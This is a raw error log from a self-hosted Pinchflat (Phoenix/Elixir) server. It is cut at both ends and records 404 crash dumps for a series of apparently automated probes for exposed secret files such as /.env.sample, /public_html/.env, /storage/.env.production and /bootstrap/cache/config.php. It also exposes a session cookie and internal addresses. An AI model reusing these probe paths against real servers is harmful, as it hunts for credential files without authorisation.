"SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11813.0>, params: %{}, path_info: ["bootstrap", "cache", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/bootstrap/cache/config.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsW87Y4nmw5dQABVQB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bootstrap/cache/config.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 46, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /bootstrap/cache/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bootstrap/cache/config.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, (truncated) 17:14:30.000 [info] GET /public_html/.env 17:14:30.001 [debug] QUERY OK source="settings" db=0.1ms idle=545.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:30.001 [debug] QUERY OK source="settings" db=0.0ms idle=545.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:30.001 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:30.002 [error] #PID<0.11814.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 47) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /public_html/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public_html/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public_html/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 47, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11814.0>, params: %{}, path_info: ["public_html", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/public_html/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsW98QTPKyPOEABVSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public_html/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 47, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public_html/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public_html/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 47, host_info: :undefined }}, a (truncated) 17:14:30.274 [info] GET /storage/.env.production 17:14:30.274 [debug] QUERY OK source="settings" db=0.1ms idle=545.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:30.275 [debug] QUERY OK source="settings" db=0.0ms idle=545.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:30.275 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:30.275 [error] #PID<0.11815.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 48) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /storage/.env.production ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/.env.production", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 48, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11815.0>, params: %{}, path_info: ["storage", ".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/storage/.env.production", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsW-9d03IcbTAABVUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/.env.production", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 48, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/.env.production", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 48, host_info: :u (truncated) 17:14:30.545 [info] GET /.env.sample 17:14:30.546 [debug] QUERY OK source="settings" db=0.1ms idle=615.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:30.546 [debug] QUERY OK source="settings" db=0.0ms idle=544.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:30.546 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:30.546 [error] #PID<0.11816.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 49) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env.sample ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.sample", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 49, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11816.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.sample", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsW_-IZyW4bEIABVWB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.sample", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", 